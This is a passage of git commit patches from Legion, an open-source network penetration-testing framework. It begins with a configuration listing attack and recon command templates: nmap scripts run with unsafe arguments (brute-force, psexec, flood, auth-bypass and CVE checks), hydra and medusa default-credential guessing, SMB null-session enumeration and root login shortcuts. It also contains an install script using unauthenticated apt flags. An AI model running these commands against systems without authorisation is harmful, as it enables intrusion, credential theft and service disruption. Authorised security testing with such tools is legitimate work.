auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" +x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], ftp +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], shell +ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp + +[SchedulerSettings] +ftp-default=ftp, tcp +mssql-default=ms-sql-s, tcp +mysql-default=mysql, tcp +nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp +oracle-default=oracle-tns, tcp +postgres-default=postgresql, tcp +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +smbenum=microsoft-ds, tcp +smtp-enum-vrfy=smtp, tcp +snmp-default=snmp, udp +snmpcheck=snmp, udp +x11screen=X11, tcp + +[StagedNmapSettings] +stage1-ports="T:80,443" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="Vulners,CVE" +stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage6-ports="T:30000-65534,65535" + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/usr/bin/nmap +texteditor-path=/usr/bin/leafpad diff --git a/ui/view.py b/ui/view.py index fae44fa5..2111f8a6 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1062,13 +1062,13 @@ def updateScriptsView(self, hostIP): self.scriptTableClick() def updateCvesByHostView(self, hostIP): - headers = ["ID", "Severity", "Product", "Version", "URL", "Source"] + headers = ["ID", "CVSS Score", "Product", "Version", "URL", "Source"] cves = self.controller.getCvesFromDB(hostIP) self.CvesTableModel = CvesTableModel(self,self.controller.getCvesFromDB(hostIP), headers) self.ui.CvesTableView.horizontalHeader().resizeSection(0,175) - self.ui.CvesTableView.horizontalHeader().resizeSection(2,200) - self.ui.CvesTableView.horizontalHeader().resizeSection(4,250) + self.ui.CvesTableView.horizontalHeader().resizeSection(2,175) + self.ui.CvesTableView.horizontalHeader().resizeSection(4,225) self.ui.CvesTableView.setModel(self.CvesTableModel) self.ui.CvesTableView.repaint() From 22f1fcf845e2625e2b625221d58f34f4972961d3 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 27 Feb 2019 12:03:05 -0600 Subject: [PATCH 161/450] Add some flags to prevent tzdata prompts --- controller/controller.py | 2 +- deps/installDeps.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index cbd6f8a7..cf25fb0c 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.3' - self.build = '1551289424' + self.build = '1551290572' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 4f06ac05..97fb95e3 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -7,4 +7,4 @@ echo "Checking Apt..." runAptGetUpdate echo "Installing deps..." -apt-get -yqqq install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 -y +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 From db37183286bbe44bef400ac4793eb3e5831b7761 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 27 Feb 2019 12:21:20 -0600 Subject: [PATCH 162/450] Bump to 0.3.4 --- CHANGELOG.txt | 5 +++++ controller/controller.py | 4 ++-- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 7abe85c0..46de76db 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,8 @@ +LEGION 0.3.4 + +* Depnendancy polish +* Minor UI and schedule changes + LEGION 0.3.3 * Fix hydra 8.7+ issues diff --git a/controller/controller.py b/controller/controller.py index cf25fb0c..22efb107 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -27,8 +27,8 @@ class Controller(): @timing def __init__(self, view, logic): self.name = "LEGION" - self.version = '0.3.3' - self.build = '1551290572' + self.version = '0.3.4' + self.build = '1551291663' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] From f562419a6587af4b7cf76e28a4645c8ed1fe2455 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 27 Feb 2019 14:25:27 -0500 Subject: [PATCH 163/450] Update README.md Pre-release updates. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e3547226..7323d781 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ [![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) ## ABOUT -Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, super-extensible and semi-automated network penetration testing tool that aids in discovery, reconnaissance and exploitation of information systems. +Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, super-extensible and semi-automated network penetration testing tool that aids in discovery, reconnaissance and exploitation of information systems. [Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). For more info about Legion and it's roadmap check out it's product page at [https://GoVanguard.io/legion](https://govanguard.io/legion). ### FEATURES * Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and more (with almost 100 auto-scheduled scripts) From a764a5c19eb53cf3eef3fc56b66a6a3ac15caa5d Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 27 Feb 2019 14:28:36 -0500 Subject: [PATCH 164/450] Update README.md Prerelease updates on language/links. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7323d781..825bf672 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ [![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) ## ABOUT -Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, super-extensible and semi-automated network penetration testing tool that aids in discovery, reconnaissance and exploitation of information systems. [Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). For more info about Legion and it's roadmap check out it's product page at [https://GoVanguard.io/legion](https://govanguard.io/legion). +Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, super-extensible and semi-automated network penetration testing tool that aids in discovery, reconnaissance and exploitation of information systems. [Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the product roadmap, can be found on it's product page at [https://GoVanguard.io/legion](https://govanguard.io/legion). ### FEATURES * Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and more (with almost 100 auto-scheduled scripts) From eb0d9244d6dd28f4057c5e3cc511671dd18e3e12 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 27 Feb 2019 14:34:12 -0500 Subject: [PATCH 165/450] Update README.md Prerelease updates on language/links. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 825bf672..9feab3d3 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,8 @@ [![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) ## ABOUT -Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, super-extensible and semi-automated network penetration testing tool that aids in discovery, reconnaissance and exploitation of information systems. [Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the product roadmap, can be found on it's product page at [https://GoVanguard.io/legion](https://govanguard.io/legion). +Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing tool that aids in discovery, reconnaissance and exploitation of information systems. +[Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the (product roadmap](https://govanguard.io/legion), can be found on it's product page at [https://GoVanguard.io/legion](https://govanguard.io/legion). ### FEATURES * Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and more (with almost 100 auto-scheduled scripts) From d8dacbe6b1fefe958ebd82aa213bee60598429df Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 27 Feb 2019 14:34:50 -0500 Subject: [PATCH 166/450] Update README.md Prerelease updates on language/links. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9feab3d3..3f1b37ec 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ ## ABOUT Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing tool that aids in discovery, reconnaissance and exploitation of information systems. -[Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the (product roadmap](https://govanguard.io/legion), can be found on it's product page at [https://GoVanguard.io/legion](https://govanguard.io/legion). +[Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the [product roadmap](https://govanguard.io/legion), can be found on it's product page at [https://GoVanguard.io/legion](https://govanguard.io/legion). ### FEATURES * Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and more (with almost 100 auto-scheduled scripts) From 7b33265d2ac48060003bdf7f96d584dc29615f59 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 27 Feb 2019 16:02:55 -0500 Subject: [PATCH 167/450] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 3f1b37ec..57eb917f 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,9 @@ [![Build Status](https://travis-ci.com/GoVanguard/legion.svg?branch=master)](https://travis-ci.com/GoVanguard/legion) [![Known Vulnerabilities](https://snyk.io/test/github/GoVanguard/legion/badge.svg?targetFile=requirements.txt)](https://snyk.io/test/github/GoVanguard/legion?targetFile=requirements.txt) [![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) +[![Analytics](https://ga-beacon-gvit.appspot.com/UA-126307374-3/govanguard/legion)](https://github.com/GoVanguard/legion) + + ## ABOUT Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing tool that aids in discovery, reconnaissance and exploitation of information systems. From 3601d9305e7fc2af9c2745adaff8d9b9db8a50b7 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 27 Feb 2019 16:07:56 -0500 Subject: [PATCH 168/450] Update README.md Pre-release edits and GA analytics addition. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 57eb917f..8c646b9f 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ [![Build Status](https://travis-ci.com/GoVanguard/legion.svg?branch=master)](https://travis-ci.com/GoVanguard/legion) [![Known Vulnerabilities](https://snyk.io/test/github/GoVanguard/legion/badge.svg?targetFile=requirements.txt)](https://snyk.io/test/github/GoVanguard/legion?targetFile=requirements.txt) [![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) -[![Analytics](https://ga-beacon-gvit.appspot.com/UA-126307374-3/govanguard/legion)](https://github.com/GoVanguard/legion) +[![Analytics](https://ga-beacon-gvit.appspot.com/UA-126307374-3/legion/readme)](https://github.com/GoVanguard/legion) From a77a11bca20fdf6d66a84c6198449ba742cc3a34 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 28 Feb 2019 16:38:07 -0500 Subject: [PATCH 169/450] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 8c646b9f..3cdf0050 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ ## ABOUT -Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing tool that aids in discovery, reconnaissance and exploitation of information systems. +Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing framework that aids in discovery, reconnaissance and exploitation of information systems. [Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the [product roadmap](https://govanguard.io/legion), can be found on it's product page at [https://GoVanguard.io/legion](https://govanguard.io/legion). ### FEATURES From c2cce3d9e87d27b032486c26464b106896eb93ba Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Fri, 1 Mar 2019 14:50:18 -0500 Subject: [PATCH 170/450] Added additional deps and attempted to fix OS accuracy issue --- deps/installDeps.sh | 2 +- parsers/OS.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 97fb95e3..8a8f95bb 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -7,4 +7,4 @@ echo "Checking Apt..." runAptGetUpdate echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 python-impacket ruby perl diff --git a/parsers/OS.py b/parsers/OS.py index 602deb14..ecb20d3e 100644 --- a/parsers/OS.py +++ b/parsers/OS.py @@ -22,7 +22,7 @@ def __init__(self, OSNode): self.generation = OSNode.getAttribute('osgen') self.os_type = OSNode.getAttribute('type') self.vendor = OSNode.getAttribute('vendor') - self.accuracy = OSNode.getAttribute('accuracy') + self.accuracy = int(OSNode.getAttribute('accuracy')) if __name__ == '__main__': From 238fc2f04628e3faf6cc6fc863781396c5b27f15 Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Fri, 1 Mar 2019 16:54:42 -0500 Subject: [PATCH 171/450] Fixed line that would cause type error --- parsers/OS.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/parsers/OS.py b/parsers/OS.py index ecb20d3e..602deb14 100644 --- a/parsers/OS.py +++ b/parsers/OS.py @@ -22,7 +22,7 @@ def __init__(self, OSNode): self.generation = OSNode.getAttribute('osgen') self.os_type = OSNode.getAttribute('type') self.vendor = OSNode.getAttribute('vendor') - self.accuracy = int(OSNode.getAttribute('accuracy')) + self.accuracy = OSNode.getAttribute('accuracy') if __name__ == '__main__': From 6d184277271083ded1c4e818f7075eef70bc0c17 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 4 Mar 2019 14:19:37 -0600 Subject: [PATCH 172/450] Adding in new tools support, Experimentation to prevent duplicate tests --- app/logic.py | 32 ++- backup/20190301141033994378-legion.conf | 318 ++++++++++++++++++++++++ backup/20190301142846448395-legion.conf | 318 ++++++++++++++++++++++++ controller/controller.py | 4 +- deps/installDeps.sh | 2 +- legion.conf | 5 +- 6 files changed, 664 insertions(+), 15 deletions(-) create mode 100644 backup/20190301141033994378-legion.conf create mode 100644 backup/20190301142846448395-legion.conf diff --git a/app/logic.py b/app/logic.py index 9d6b2827..0f417bf9 100644 --- a/app/logic.py +++ b/app/logic.py @@ -715,18 +715,21 @@ def run(self): # it is nece session.commit() all_ports = h.all_ports() - self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) + #self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) for p in all_ports: # parse the ports - self.tsLog(" Processing port obj {port}".format(port=str(p.portId))) + #self.tsLog(" Processing port obj {port}".format(port=str(p.portId))) s = p.get_service() if not (s is None): # check if service already exists to avoid adding duplicates - self.tsLog(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) - db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() - + #print(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) + #db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + db_service = session.query(nmap_service).filter_by(name=s.name).first() if not db_service: + print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}".format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) db_service = nmap_service(s.name, s.product, s.version, s.extrainfo, s.fingerprint) session.add(db_service) + else: + print("FOUND service *************** name={0}".format(db_service.name)) else: # else, there is no service info to parse db_service = None @@ -734,11 +737,14 @@ def run(self): # it is nece db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() if not db_port: + print("Did not find port *********** portid={0} proto={1}".format(p.portId, p.protocol)) if db_service: db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, db_service.id) else: db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, '') session.add(db_port) + else: + print('FOUND port *************** portid={0}'.format(db_port.port_id)) createPortsProgress = createPortsProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createPortsProgress self.importProgressWidget.setProgress(totalprogress) @@ -830,23 +836,27 @@ def run(self): # it is nece for p in h.all_ports(): s = p.get_service() if not (s is None): - db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + 